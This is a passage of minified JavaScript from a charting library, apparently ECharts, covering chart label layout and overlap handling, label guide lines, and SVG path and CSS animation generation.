d=a[0]>a[1];f(t[0].coord,a[0])&&(r?t[0].coord=a[0]:t.shift()),r&&f(a[0],t[0].coord)&&t.unshift({coord:a[0],onBand:!0}),f(a[1],o.coord)&&(r?o.coord=a[1]:t.pop()),r&&f(o.coord,a[1])&&t.push({coord:a[1],onBand:!0});function f(e,t){return e=cs(e),t=cs(t),d?e>t:e<t}}var TD=Math.PI*2,ED=Ql.CMD,DD=[`top`,`right`,`bottom`,`left`];function OD(e,t,n,r,i){var a=n.width,o=n.height;switch(e){case`top`:r.set(n.x+a/2,n.y-t),i.set(0,-1);break;case`bottom`:r.set(n.x+a/2,n.y+o+t),i.set(0,1);break;case`left`:r.set(n.x-t,n.y+o/2),i.set(-1,0);break;case`right`:r.set(n.x+a+t,n.y+o/2),i.set(1,0);break}}function kD(e,t,n,r,i,a,o,s,c){o-=e,s-=t;var l=Math.sqrt(o*o+s*s);o/=l,s/=l;var u=o*n+e,d=s*n+t;if(Math.abs(r-i)%TD<1e-4)return c[0]=u,c[1]=d,l-n;if(a){var f=r;r=ru(i),i=ru(f)}else r=ru(r),i=ru(i);r>i&&(i+=TD);var p=Math.atan2(s,o);if(p<0&&(p+=TD),p>=r&&p<=i||p+TD>=r&&p+TD<=i)return c[0]=u,c[1]=d,l-n;var m=n*Math.cos(r)+e,h=n*Math.sin(r)+t,g=n*Math.cos(i)+e,_=n*Math.sin(i)+t,v=(m-o)*(m-o)+(h-s)*(h-s),y=(g-o)*(g-o)+(_-s)*(_-s);return v<y?(c[0]=m,c[1]=h,Math.sqrt(v)):(c[0]=g,c[1]=_,Math.sqrt(y))}function AD(e,t,n,r,i,a,o,s){var c=i-e,l=a-t,u=n-e,d=r-t,f=Math.sqrt(u*u+d*d);u/=f,d/=f;var p=(c*u+l*d)/f;s&&(p=Math.min(Math.max(p,0),1)),p*=f;var m=o[0]=e+p*u,h=o[1]=t+p*d;return Math.sqrt((m-i)*(m-i)+(h-a)*(h-a))}function jD(e,t,n,r,i,a,o){n<0&&(e+=n,n=-n),r<0&&(t+=r,r=-r);var s=e+n,c=t+r,l=o[0]=Math.min(Math.max(i,e),s),u=o[1]=Math.min(Math.max(a,t),c);return Math.sqrt((l-i)*(l-i)+(u-a)*(u-a))}var MD=[];function ND(e,t,n){var r=jD(t.x,t.y,t.width,t.height,e.x,e.y,MD);return n.set(MD[0],MD[1]),r}function PD(e,t,n){for(var r=0,i=0,a=0,o=0,s,c,l=1/0,u=t.data,d=e.x,f=e.y,p=0;p<u.length;){var m=u[p++];p===1&&(r=u[p],i=u[p+1],a=r,o=i);var h=l;switch(m){case ED.M:a=u[p++],o=u[p++],r=a,i=o;break;case ED.L:h=AD(r,i,u[p],u[p+1],d,f,MD,!0),r=u[p++],i=u[p++];break;case ED.C:h=ti(r,i,u[p++],u[p++],u[p++],u[p++],u[p],u[p+1],d,f,MD),r=u[p++],i=u[p++];break;case ED.Q:h=ci(r,i,u[p++],u[p++],u[p],u[p+1],d,f,MD),r=u[p++],i=u[p++];break;case ED.A:var g=u[p++],_=u[p++],v=u[p++],y=u[p++],b=u[p++],x=u[p++];p+=1;var S=!!(1-u[p++]);s=Math.cos(b)*v+g,c=Math.sin(b)*y+_,p<=1&&(a=s,o=c);var C=(d-g)*y/v+g;h=kD(g,_,y,b,b+x,S,C,f,MD),r=Math.cos(b+x)*v+g,i=Math.sin(b+x)*y+_;break;case ED.R:a=r=u[p++],o=i=u[p++];var w=u[p++],T=u[p++];h=jD(a,o,w,T,d,f,MD);break;case ED.Z:h=AD(r,i,a,o,d,f,MD,!0),r=a,i=o;break}h<l&&(l=h,n.set(MD[0],MD[1]))}return l}var FD=new q,ID=new q,LD=new q,RD=new q,zD=new q;function BD(e,t){if(e){var n=e.getTextGuideLine(),r=e.getTextContent();if(r&&n){var i=e.textGuideLineConfig||{},a=[[0,0],[0,0],[0,0]],o=i.candidates||DD,s=r.getBoundingRect().clone();s.applyTransform(r.getComputedTransform());var c=1/0,l=i.anchor,u=e.getComputedTransform(),d=u&&qn([],u),f=t.get(`length2`)||0;l&&LD.copy(l);for(var p=0;p<o.length;p++){var m=o[p];OD(m,0,s,FD,RD),q.scaleAndAdd(ID,FD,RD,f),ID.transform(d);var h=e.getBoundingRect(),g=l?l.distance(ID):e instanceof Cu?PD(ID,e.path,LD):ND(ID,h,LD);g<c&&(c=g,ID.transform(u),LD.transform(u),LD.toArray(a[0]),ID.toArray(a[1]),FD.toArray(a[2]))}UD(a,t.get(`minTurnAngle`)),n.setShape({points:a})}}}var VD=[],HD=new q;function UD(e,t){if(t<=180&&t>0){t=t/180*Math.PI,FD.fromArray(e[0]),ID.fromArray(e[1]),LD.fromArray(e[2]),q.sub(RD,FD,ID),q.sub(zD,LD,ID);var n=RD.len(),r=zD.len();if(!(n<.001||r<.001)){RD.scale(1/n),zD.scale(1/r);var i=RD.dot(zD);if(Math.cos(t)<i){var a=AD(ID.x,ID.y,LD.x,LD.y,FD.x,FD.y,VD,!1);HD.fromArray(VD),HD.scaleAndAdd(zD,a/Math.tan(Math.PI-t));var o=LD.x===ID.x?(HD.y-ID.y)/(LD.y-ID.y):(HD.x-ID.x)/(LD.x-ID.x);if(isNaN(o))return;o<0?q.copy(HD,ID):o>1&&q.copy(HD,LD),HD.toArray(e[1])}}}}function WD(e,t,n){if(n<=180&&n>0){n=n/180*Math.PI,FD.fromArray(e[0]),ID.fromArray(e[1]),LD.fromArray(e[2]),q.sub(RD,ID,FD),q.sub(zD,LD,ID);var r=RD.len(),i=zD.len();if(!(r<.001||i<.001)&&(RD.scale(1/r),zD.scale(1/i),RD.dot(t)<Math.cos(n))){var a=AD(ID.x,ID.y,LD.x,LD.y,FD.x,FD.y,VD,!1);HD.fromArray(VD);var o=Math.PI/2,s=o+Math.acos(zD.dot(t))-n;if(s>=o)q.copy(HD,LD);else{HD.scaleAndAdd(zD,a/Math.tan(Math.PI/2-s));var c=LD.x===ID.x?(HD.y-ID.y)/(LD.y-ID.y):(HD.x-ID.x)/(LD.x-ID.x);if(isNaN(c))return;c<0?q.copy(HD,ID):c>1&&q.copy(HD,LD)}HD.toArray(e[1])}}}function GD(e,t,n,r){var i=n===`normal`,a=i?e:e.ensureState(n);a.ignore=t;var o=r.get(`smooth`);o&&o===!0&&(o=.3),a.shape=a.shape||{},o>0&&(a.shape.smooth=o);var s=r.getModel(`lineStyle`).getLineStyle();i?e.useStyle(s):a.style=s}function KD(e,t){var n=t.smooth,r=t.points;if(r)if(e.moveTo(r[0][0],r[0][1]),n>0&&r.length>=3){var i=$t(r[0],r[1]),a=$t(r[1],r[2]);if(!i||!a){e.lineTo(r[1][0],r[1][1]),e.lineTo(r[2][0],r[2][1]);return}var o=Math.min(i,a)*n,s=nn([],r[1],r[0],o/i),c=nn([],r[1],r[2],o/a),l=nn([],s,c,.5);e.bezierCurveTo(s[0],s[1],s[0],s[1],l[0],l[1]),e.bezierCurveTo(c[0],c[1],c[0],c[1],r[2][0],r[2][1])}else for(var u=1;u<r.length;u++)e.lineTo(r[u][0],r[u][1])}function qD(e,t,n){var r=e.getTextGuideLine(),i=e.getTextContent();if(!i){r&&e.removeTextGuideLine();return}for(var a=t.normal,o=a.get(`show`),s=i.ignore,c=0;c<cd.length;c++){var l=cd[c],u=t[l],d=l===`normal`;if(u){var f=u.get(`show`);if((d?s:W(i.states[l]&&i.states[l].ignore,s))||!W(f,o)){var p=d?r:r&&r.states[l];p&&(p.ignore=!0),r&&GD(r,!0,l,u);continue}r||(r=new lp,e.setTextGuideLine(r),!d&&(s||!o)&&GD(r,!0,`normal`,t.normal),e.stateProxy&&(r.stateProxy=e.stateProxy)),GD(r,!1,l,u)}}if(r){I(r.style,n),r.style.fill=null;var m=a.get(`showAbove`),h=e.textGuideLineConfig=e.textGuideLineConfig||{};h.showAbove=m||!1,r.buildPath=KD}}function JD(e,t){t||=`labelLine`;for(var n={normal:e.getModel(t)},r=0;r<sd.length;r++){var i=sd[r];n[i]=e.getModel([i,t])}return n}var YD=[`label`,`labelLine`,`layoutOption`,`priority`,`defaultAttr`,`marginForce`,`minMarginForce`,`marginDefault`,`suggestIgnore`],XD=1,ZD=2,QD=XD|ZD;function $D(e,t,n){n||=QD,t?e.dirty|=n:e.dirty&=~n}function eO(e,t){return t||=QD,e.dirty==null||!!(e.dirty&t)}function tO(e){if(e)return eO(e)&&nO(e,e.label,e),e}function nO(e,t,n){var r=t.getComputedTransform();e.transform=Am(e.transform,r);var i=e.localRect=km(e.localRect,t.getBoundingRect()),a=t.style,o=a.margin,s=n&&n.marginForce,c=n&&n.minMarginForce,l=n&&n.marginDefault,u=a.__marginType;u==null&&l&&(o=l,u=Qm.textMargin);for(var d=0;d<4;d++)rO[d]=u===Qm.minMargin&&c&&c[d]!=null?c[d]:s&&s[d]!=null?s[d]:o?o[d]:0;u===Qm.textMargin&&xm(i,rO,!1,!1);var f=e.rect=km(e.rect,i);return r&&f.applyTransform(r),u===Qm.minMargin&&xm(f,rO,!1,!1),e.axisAligned=Dm(r),(e.label=e.label||{}).ignore=t.ignore,$D(e,!1),$D(e,!0,ZD),e}var rO=[0,0,0,0];function iO(e,t,n){return e.transform=Am(e.transform,n),e.localRect=km(e.localRect,t),e.rect=km(e.rect,t),n&&e.rect.applyTransform(n),e.axisAligned=Dm(n),e.obb=void 0,(e.label=e.label||{}).ignore=!1,e}function aO(e,t){if(e){e.label.x+=t.x,e.label.y+=t.y,e.label.markRedraw();var n=e.transform;n&&(n[4]+=t.x,n[5]+=t.y);var r=e.rect;r&&(r.x+=t.x,r.y+=t.y);var i=e.obb;i&&i.fromBoundingRect(e.localRect,n)}}function oO(e,t){for(var n=0;n<YD.length;n++){var r=YD[n];e[r]??(e[r]=t[r])}return tO(e)}function sO(e){var t=e.obb;return(!t||eO(e,ZD))&&(e.obb=t||=new jp,t.fromBoundingRect(e.localRect,e.transform),$D(e,!1,ZD)),t}function cO(e,t,n,r,i){var a=e.length,o=qp[t],s=Jp[t];if(a<2)return!1;e.sort(function(e,t){return e.rect[o]-t.rect[o]});for(var c=0,l,u=!1,d=0,f=0;f<a;f++){var p=e[f],m=p.rect;l=m[o]-c,l<0&&(m[o]-=l,p.label[o]-=l,u=!0);var h=Math.max(-l,0);d+=h,c=m[o]+m[s]}d>0&&i&&S(-d/a,0,a);var g=e[0],_=e[a-1],v,y;b(),v<0&&C(-v,.8),y<0&&C(y,.8),b(),x(v,y,1),x(y,v,-1),b(),v<0&&w(-v),y<0&&w(y);function b(){v=g.rect[o]-n,y=r-_.rect[o]-_.rect[s]}function x(e,t,n){if(e<0){var r=Math.min(t,-e);if(r>0){S(r*n,0,a);var i=r+e;i<0&&C(-i*n,1)}else C(-e*n,1)}}function S(t,n,r){t!==0&&(u=!0);for(var i=n;i<r;i++){var a=e[i],s=a.rect;s[o]+=t,a.label[o]+=t}}function C(t,n){for(var r=[],i=0,c=1;c<a;c++){var l=e[c-1].rect,u=Math.max(e[c].rect[o]-l[o]-l[s],0);r.push(u),i+=u}if(i){var d=Math.min(Math.abs(t)/i,n);if(t>0)for(var c=0;c<a-1;c++){var f=r[c]*d;S(f,0,c+1)}else for(var c=a-1;c>0;c--){var f=r[c-1]*d;S(-f,c,a)}}}function w(e){var t=e<0?-1:1;e=Math.abs(e);for(var n=Math.ceil(e/(a-1)),r=0;r<a-1;r++)if(t>0?S(n,0,r+1):S(-n,a-r-1,a),e-=n,e<=0)return}return u}function lO(e){for(var t=0;t<e.length;t++){var n=e[t],r=n.defaultAttr,i=n.labelLine;n.label.attr(`ignore`,r.ignore),i&&i.attr(`ignore`,r.labelGuideIgnore)}}function uO(e){var t=[];e.sort(function(e,t){return!!t.suggestIgnore-+!!e.suggestIgnore||t.priority-e.priority});function n(e){if(!e.ignore){var t=e.ensureState(`emphasis`);t.ignore??=!1}e.ignore=!0}for(var r=0;r<e.length;r++){var i=tO(e[r]);if(!i.label.ignore){for(var a=i.label,o=i.labelLine,s=!1,c=0;c<t.length;c++)if(dO(i,t[c],null,{touchThreshold:.05})){s=!0;break}s?(n(a),o&&n(o)):t.push(i)}}}function dO(e,t,n,r){return!e||!t||e.label&&e.label.ignore||t.label&&t.label.ignore||!e.rect.intersect(t.rect,n,r)?!1:e.axisAligned&&t.axisAligned?!0:sO(e).intersect(sO(t),n,r)}function fO(e){if(e){for(var t=[],n=0;n<e.length;n++)t.push(e[n].slice());return t}}function pO(e,t){var n=e.label,r=t&&t.getTextGuideLine();return{dataIndex:e.dataIndex,dataType:e.dataType,seriesIndex:e.seriesModel.seriesIndex,text:e.label.style.text,rect:e.hostRect,labelRect:e.rect,align:n.style.align,verticalAlign:n.style.verticalAlign,labelLinePoints:fO(r&&r.shape.points)}}var mO=[`align`,`verticalAlign`,`width`,`height`,`fontSize`],hO=new fo,gO=oc(),_O=oc();function vO(e,t,n){for(var r=0;r<n.length;r++){var i=n[r];t[i]!=null&&(e[i]=t[i])}}var yO=[`x`,`y`,`rotation`],bO=function(){function e(){this._labelList=[],this._chartViewList=[]}return e.prototype.clearLabels=function(){this._labelList=[],this._chartViewList=[]},e.prototype._addLabel=function(e,t,n,r,i){var a=r.style,o=r.__hostTarget.textConfig||{},s=r.getComputedTransform(),c=r.getBoundingRect().plain();J.applyTransform(c,c,s),s?hO.setLocalTransform(s):(hO.x=hO.y=hO.rotation=hO.originX=hO.originY=0,hO.scaleX=hO.scaleY=1),hO.rotation=ru(hO.rotation);var l=r.__hostTarget,u;if(l){u=l.getBoundingRect().plain();var d=l.getComputedTransform();J.applyTransform(u,u,d)}var f=u&&l.getTextGuideLine();this._labelList.push({label:r,labelLine:f,seriesModel:n,dataIndex:e,dataType:t,layoutOptionOrCb:i,layoutOption:null,rect:c,hostRect:u,priority:u?u.width*u.height:0,defaultAttr:{ignore:r.ignore,labelGuideIgnore:f&&f.ignore,x:hO.x,y:hO.y,scaleX:hO.scaleX,scaleY:hO.scaleY,rotation:hO.rotation,style:{x:a.x,y:a.y,align:a.align,verticalAlign:a.verticalAlign,width:a.width,height:a.height,fontSize:a.fontSize},cursor:r.cursor,attachedPos:o.position,attachedRot:o.rotation}})},e.prototype.addLabelsOfSeries=function(e){var t=this;this._chartViewList.push(e);var n=e.__model,r=n.get(`labelLayout`);(V(r)||dt(r).length)&&e.group.traverse(function(e){if(e.ignore)return!0;var i=e.getTextContent(),a=Z(e);i&&!i.disableLabelLayout&&t._addLabel(a.dataIndex,a.dataType,n,i,r)})},e.prototype.updateLayoutConfig=function(e){var t=e.getWidth(),n=e.getHeight();function r(e,t){return function(){BD(e,t)}}for(var i=0;i<this._labelList.length;i++){var a=this._labelList[i],o=a.label,s=o.__hostTarget,c=a.defaultAttr,l=void 0;l=V(a.layoutOptionOrCb)?a.layoutOptionOrCb(pO(a,s)):a.layoutOptionOrCb,l||={},a.layoutOption=l;var u=Math.PI/180;s&&s.setTextConfig({local:!1,position:l.x!=null||l.y!=null?null:c.attachedPos,rotation:l.rotate==null?c.attachedRot:l.rotate*u,offset:[l.dx||0,l.dy||0]});var d=!1;if(l.x==null?(o.x=c.x,o.setStyle(`x`,c.style.x)):(o.x=X(l.x,t),o.setStyle(`x`,0),d=!0),l.y==null?(o.y=c.y,o.setStyle(`y`,c.style.y)):(o.y=X(l.y,n),o.setStyle(`y`,0),d=!0),l.labelLinePoints){var f=s.getTextGuideLine();f&&(f.setShape({points:l.labelLinePoints}),d=!1)}var p=gO(o);p.needsUpdateLabelLine=d,o.rotation=l.rotate==null?c.rotation:l.rotate*u,o.scaleX=c.scaleX,o.scaleY=c.scaleY;for(var m=0;m<mO.length;m++){var h=mO[m];o.setStyle(h,l[h]==null?c.style[h]:l[h])}if(l.draggable){if(o.draggable=!0,o.cursor=`move`,s){var g=a.seriesModel;a.dataIndex!=null&&(g=a.seriesModel.getData(a.dataType).getItemModel(a.dataIndex)),o.on(`drag`,r(s,g.getModel(`labelLine`)))}}else o.off(`drag`),o.cursor=c.cursor}},e.prototype.layout=function(e){var t=e.getWidth(),n=e.getHeight(),r=[];L(this._labelList,function(e){e.defaultAttr.ignore||r.push(oO({},e))});var i=lt(r,function(e){return e.layoutOption.moveOverlap===`shiftX`}),a=lt(r,function(e){return e.layoutOption.moveOverlap===`shiftY`});cO(i,0,0,t),cO(a,1,0,n);var o=lt(r,function(e){return e.layoutOption.hideOverlap});lO(o),uO(o)},e.prototype.processLabelsOverall=function(){var e=this;L(this._chartViewList,function(t){var n=t.__model,r=t.ignoreLabelLineUpdate,i=n.isAnimationEnabled();t.group.traverse(function(t){if(t.ignore&&!t.forceLabelAnimation)return!0;var a=!r,o=t.getTextContent();!a&&o&&(a=gO(o).needsUpdateLabelLine),a&&e._updateLabelLine(t,n),i&&e._animateLabels(t,n)})})},e.prototype._updateLabelLine=function(e,t){var n=e.getTextContent(),r=Z(e),i=r.dataIndex;if(n&&i!=null){var a=t.getData(r.dataType),o=a.getItemModel(i),s={},c=a.getItemVisual(i,`style`);c&&(s.stroke=c[a.getVisual(`drawType`)]);var l=o.getModel(`labelLine`);qD(e,JD(o),s),BD(e,l)}},e.prototype._animateLabels=function(e,t){var n=e.getTextContent(),r=e.getTextGuideLine();if(n&&(e.forceLabelAnimation||!n.ignore&&!n.invisible&&!e.disableLabelAnimation&&!zp(e))){var i=gO(n),a=i.oldLayout,o=Z(e),s=o.dataIndex,c={x:n.x,y:n.y,rotation:n.rotation},l=t.getData(o.dataType);if(a){n.attr(a);var u=e.prevStates;u&&(it(u,`select`)>=0&&n.attr(i.oldLayoutSelect),it(u,`emphasis`)>=0&&n.attr(i.oldLayoutEmphasis)),Lp(n,c,t,s)}else if(n.attr(c),!Ym(n).valueAnimation){var d=W(n.style.opacity,1);n.style.opacity=0,Rp(n,{style:{opacity:d}},t,s)}if(i.oldLayout=c,n.states.select){var f=i.oldLayoutSelect={};vO(f,c,yO),vO(f,n.states.select,yO)}if(n.states.emphasis){var p=i.oldLayoutEmphasis={};vO(p,c,yO),vO(p,n.states.emphasis,yO)}Zm(n,s,l,t,t)}if(r&&!r.ignore&&!r.invisible){var i=_O(r),a=i.oldLayout,m={points:r.shape.points};a?(r.attr({shape:a}),Lp(r,{shape:m},t)):(r.setShape(m),r.style.strokePercent=0,Rp(r,{style:{strokePercent:1}},t)),i.oldLayout=m}},e}(),xO=oc();function SO(e){e.registerUpdateLifecycle(`series:beforeupdate`,function(e,t,n){var r=xO(t).labelManager;r||=xO(t).labelManager=new bO,r.clearLabels()}),e.registerUpdateLifecycle(`series:layoutlabels`,function(e,t,n){var r=xO(t).labelManager;n.updatedSeries.forEach(function(e){r.addLabelsOfSeries(t.getViewOfSeriesModel(e))}),r.updateLayoutConfig(t),r.layout(t),r.processLabelsOverall()})}var CO=Math.sin,wO=Math.cos,TO=Math.PI,EO=Math.PI*2,DO=180/TO,OO=function(){function e(){}return e.prototype.reset=function(e){this._start=!0,this._d=[],this._str=``,this._p=10**(e||4)},e.prototype.moveTo=function(e,t){this._add(`M`,e,t)},e.prototype.lineTo=function(e,t){this._add(`L`,e,t)},e.prototype.bezierCurveTo=function(e,t,n,r,i,a){this._add(`C`,e,t,n,r,i,a)},e.prototype.quadraticCurveTo=function(e,t,n,r){this._add(`Q`,e,t,n,r)},e.prototype.arc=function(e,t,n,r,i,a){this.ellipse(e,t,n,n,0,r,i,a)},e.prototype.ellipse=function(e,t,n,r,i,a,o,s){var c=o-a,l=!s,u=Math.abs(c),d=Wi(u-EO)||(l?c>=EO:-c>=EO),f=c>0?c%EO:c%EO+EO,p=!1;p=d?!0:Wi(u)?!1:f>=TO==!!l;var m=e+n*wO(a),h=t+r*CO(a);this._start&&this._add(`M`,m,h);var g=Math.round(i*DO);if(d){var _=1/this._p,v=(l?1:-1)*(EO-_);this._add(`A`,n,r,g,1,+l,e+n*wO(a+v),t+r*CO(a+v)),_>.01&&this._add(`A`,n,r,g,0,+l,m,h)}else{var y=e+n*wO(o),b=t+r*CO(o);this._add(`A`,n,r,g,+p,+l,y,b)}},e.prototype.rect=function(e,t,n,r){this._add(`M`,e,t),this._add(`l`,n,0),this._add(`l`,0,r),this._add(`l`,-n,0),this._add(`Z`)},e.prototype.closePath=function(){this._d.length>0&&this._add(`Z`)},e.prototype._add=function(e,t,n,r,i,a,o,s,c){for(var l=[],u=this._p,d=1;d<arguments.length;d++){var f=arguments[d];if(isNaN(f)){this._invalid=!0;return}l.push(Math.round(f*u)/u)}this._d.push(e+l.join(` `)),this._start=e===`Z`},e.prototype.generateStr=function(){this._str=this._invalid?``:this._d.join(``),this._d=[]},e.prototype.getStr=function(){return this._str},e}(),kO=`none`,AO=Math.round;function jO(e){var t=e.fill;return t!=null&&t!==kO}function MO(e){var t=e.stroke;return t!=null&&t!==kO}var NO=[`lineCap`,`miterLimit`,`lineJoin`],PO=R(NO,function(e){return`stroke-`+e.toLowerCase()});function FO(e,t,n,r){var i=t.opacity==null?1:t.opacity;if(n instanceof ku){e(`opacity`,i);return}if(jO(t)){var a=Hi(t.fill);e(`fill`,a.color);var o=t.fillOpacity==null?a.opacity*i:t.fillOpacity*a.opacity*i;(r||o<1)&&e(`fill-opacity`,o)}else e(`fill`,kO);if(MO(t)){var s=Hi(t.stroke);e(`stroke`,s.color);var c=t.strokeNoScale?n.getLineScale():1,l=c?(t.lineWidth||0)/c:0,u=t.strokeOpacity==null?s.opacity*i:t.strokeOpacity*s.opacity*i,d=t.strokeFirst;if((r||l!==1)&&e(`stroke-width`,l),(r||d)&&e(`paint-order`,d?`stroke`:`fill`),(r||u<1)&&e(`stroke-opacity`,u),t.lineDash){var f=Zx(n),p=f[0],m=f[1];p&&(m=AO(m||0),e(`stroke-dasharray`,p.join(`,`)),(m||r)&&e(`stroke-dashoffset`,m))}else r&&e(`stroke-dasharray`,kO);for(var h=0;h<NO.length;h++){var g=NO[h];if(r||t[g]!==bu[g]){var _=t[g]||bu[g];_&&e(PO[h],_)}}}else r&&e(`stroke`,kO)}var IO=`http://www.w3.org/2000/svg`,LO=`http://www.w3.org/1999/xlink`,RO=`http://www.w3.org/2000/xmlns/`,zO=`http://www.w3.org/XML/1998/namespace`,BO=`ecmeta_`;function VO(e){return document.createElementNS(IO,e)}function HO(e,t,n,r,i){return{tag:e,attrs:n||{},children:r,text:i,key:t}}function UO(e,t){var n=[];if(t)for(var r in t){var i=t[r],a=r;i!==!1&&(i!==!0&&i!=null&&(a+=`="`+i+`"`),n.push(a))}return`<`+e+` `+n.join(` `)+`>`}function WO(e){return`</`+e+`>`}function GO(e,t){t||={};var n=t.newline?`
+`:``;function r(e){var t=e.children,i=e.tag,a=e.attrs,o=e.text;return UO(i,a)+(i===`style`?o||``:Cn(o))+(t?``+n+R(t,function(e){return r(e)}).join(n)+n:``)+WO(i)}return r(e)}function KO(e,t,n){n||={};var r=n.newline?`
+`:``,i=` {`+r,a=r+`}`,o=R(dt(e),function(t){return t+i+R(dt(e[t]),function(n){return n+`:`+e[t][n]+`;`}).join(r)+a}).join(r),s=R(dt(t),function(e){return`@keyframes `+e+i+R(dt(t[e]),function(n){return n+i+R(dt(t[e][n]),function(r){var i=t[e][n][r];return r===`d`&&(i=`path("`+i+`")`),r+`:`+i+`;`}).join(r)+a}).join(r)+a}).join(r);return!o&&!s?``:[`<![CDATA[`,o,s,`]]>`].join(r)}function qO(e){return{zrId:e,shadowCache:{},patternCache:{},gradientCache:{},clipPathCache:{},defs:{},cssNodes:{},cssAnims:{},cssStyleCache:{},cssAnimIdx:0,shadowIdx:0,gradientIdx:0,patternIdx:0,clipPathIdx:0}}function JO(e,t,n,r){return HO(`svg`,`root`,{width:e,height:t,xmlns:IO,"xmlns:xlink":LO,version:`1.1`,baseProfile:`full`,viewBox:r?`0 0 `+e+` `+t:!1},n)}var YO=0;function XO(){return YO++}var ZO={cubicIn:`0.32,0,0.67,0`,cubicOut:`0.33,1,0.68,1`,cubicInOut:`0.65,0,0.35,1`,quadraticIn:`0.11,0,0.5,0`,quadraticOut:`0.5,1,0.89,1`,quadraticInOut:`0.45,0,0.55,1`,quarticIn:`0.5,0,0.75,0`,quarticOut:`0.25,1,0.5,1`,quarticInOut:`0.76,0,0.24,1`,quinticIn:`0.64,0,0.78,0`,quinticOut:`0.22,1,0.36,1`,quinticInOut:`0.83,0,0.17,1`,sinusoidalIn:`0.12,0,0.39,0`,sinusoidalOut:`0.61,1,0.88,1`,sinusoidalInOut:`0.37,0,0.63,1`,exponentialIn:`0.7,0,0.84,0`,exponentialOut:`0.16,1,0.3,1`,exponentialInOut:`0.87,0,0.13,1`,circularIn:`0.55,0,1,0.45`,circularOut:`0,0.55,0.45,1`,circularInOut:`0.85,0,0.15,1`},QO=`transform-origin`;function $O(e,t,n){var r=F({},e.shape);F(r,t),e.buildPath(n,r);var i=new OO;return i.reset(aa(e)),n.rebuildPath(i,1),i.generateStr(),i.getStr()}function ek(e,t){var n=t.originX,r=t.originY;(n||r)&&(e[QO]=n+`px `+r+`px`)}var tk={fill:`fill`,opacity:`opacity`,lineWidth:`stroke-width`,lineDashOffset:`stroke-dashoffset`};function nk(e,t){var n=t.zrId+`-ani-`+ t.cssAnimIdx++;return t.cssAnims[n]=e,n}function rk(e,t,n){var r=e.shape.paths,i={},a,o;if(L(r,function(e){var t=qO(n.zrId);t.animation=!0,ak(e,{},t,!0);var r=t.cssAnims,s=t.cssNodes,c=dt(r),l=c.length;if(l){o=c[l-1];var u=r[o];for(var d in u){var f=u[d];i[d]=i[d]||{d:``},i[d].d+=f.d||``}for(var p in s){var m=s[p].animation;m.indexOf(o)>=0&&(a=m)}}}),a){t.d=!1;var s=nk(i,n);return a.replace(o,s)}}function ik(e){return H(e)?ZO[e]?`cubic-bezier(`+ZO[e]+`)`:di(e)?e:``:``}function ak(e,t,n,r){var i=e.animators,a=i.length,o=[];if(e instanceof yp){var s=rk(e,t,n);if(s)o.push(s);else if(!a)return}else if(!a)return;for(var c={},l=0;l<a;l++){var u=i[l],d=[u.getMaxTime()/1e3+`s`],f=ik(u.getClip().easing),p=u.getDelay();f?d.push(f):d.push(`linear`),p&&d.push(p/1e3+`s`),u.getLoop()&&d.push(`infinite`);var m=d.join(` `);c[m]=c[m]||[m,[]],c[m][1].push(u)}function h(i){var a=i[1],o=a.length,s={},c={},l={},u=`animation-timing-function`;function d(e,t,n){for(var r=e.getTracks(),i=e.getMaxTime(),a=0;a<r.length;a++){var o=r[a];if(o.needsAnimate()){var s=o.keyframes,c=o.propName;if(n&&(c=n(c)),c)for(var l=0;l<s.length;l++){var d=s[l],f=Math.round(d.time/i*100)+`%`,p=ik(d.easing),m=d.rawValue;(H(m)||ht(m))&&(t[f]=t[f]||{},t[f][c]=d.rawValue,p&&(t[f][u]=p))}}}}for(var f=0;f<o;f++){var p=a[f],m=p.targetName;m?m===`shape`&&d(p,c):!r&&d(p,s)}for(var h in s){var g={};mo(g,e),F(g,s[h]);var _=oa(g),v=s[h][u];l[h]=_?{transform:_}:{},ek(l[h],g),v&&(l[h][u]=v)}var y,b=!0;for(var h in c){l[h]=l[h]||{};var x=!y,v=c[h][u];x&&(y=new Ql);var S=y.len();y.reset(),l[h].d=$O(e,c[h],y);var C=y.len();if(!x&&S!==C){b=!1;break}v&&(l[h][u]=v)}if(!b)for(var h in l)delete l[h].d;if(!r)for(var f=0;f<o;f++){var p=a[f],m=p.targetName;m===`style`&&d(p,l,function(e){return tk[e]})}for(var w=dt(l),T=!0,E,f=1;f<w.length;f++){var D=w[f-1],O=w[f];if(l[D][QO]!==l[O][QO]){T=!1;break}E=l[D][QO]}if(T&&E){for(var h in l)l[h][QO]&&delete l[h][QO];t[QO]=E}if(lt(w,function(e){return dt(l[e]).length>0}).length)return nk(l,n)+` `+i[0]+` both`}for(var g in c){var s=h(c[g]);s&&o.push(s)}if(o.length){var _=n.zrId+`-cls-`+XO();n.cssNodes[`.`+_]={animation:o.join(`,`)},t.class=_}}function ok(e,t,n){if(!e.ignore)if(e.isSilent()){var r={"pointer-events":`none`};sk(r,t,n,!0)}else{var i=e.states.emphasis&&e.states.emphasis.style?e.states.emphasis.style:{},a=i.fill;if(!a){var o=e.style&&e.style.fill,s=e.states.select&&e.states.select.style&&e.states.select.style.fill,c=e.currentStates.indexOf(`select`)>=0&&s||o;c&&(a=Bi(c))}var l=i.lineWidth;if(l){var u=!i.strokeNoScale&&e.transform?e.transform[0]:1;l/=u}var r={cursor:`pointer`};a&&(r.fill=a),i.stroke&&(r.stroke=i.stroke),l&&(r[`stroke-width`]=l),sk(r,t,n,!0)}}function sk(e,t,n,r){var i=JSON.stringify(e),a=n.cssStyleCache[i];a||(a=n.zrId+`-cls-`+XO(),n.cssStyleCache[i]=a,n.cssNodes[`.`+a+(r?`:hover`:``)]=e),t.class=t.class?t.class+` `+a:a}var ck=Math.round;function lk(e){return e&&H(e.src)}function uk(e){return e&&V(e.toDataURL)}function dk(e,t,n,r){FO(function(i,a){var o=i===`fill`||i===`stroke`;o&&ra(a)?Ek(t,e,i,r):o&&ea(a)?Dk(n,e,i,r):e[i]=a,o&&r.ssr&&a===`none`&&(e[`pointer-events`]=`visible`)},t,n,!1),Tk(n,e,r)}function fk(e,t){var n=Zo(t);n&&(n.each(function(t,n){t!=null&&(e[(`ecmeta_`+n).toLowerCase()]=t+``)}),t.isSilent()&&(e[BO+`silent`]=`true`))}function pk(e){return Wi(e[0]-1)&&Wi(e[1])&&Wi(e[2])&&Wi(e[3]-1)}function mk(e){return Wi(e[4])&&Wi(e[5])}function hk(e,t,n){if(t&&!(mk(t)&&pk(t))){var r=n?10:1e4;e.transform=pk(t)?`translate(`+ck(t[4]*r)/r+` `+ck(t[5]*r)/r+`)`:qi(t)}}function gk(e,t,n){for(var 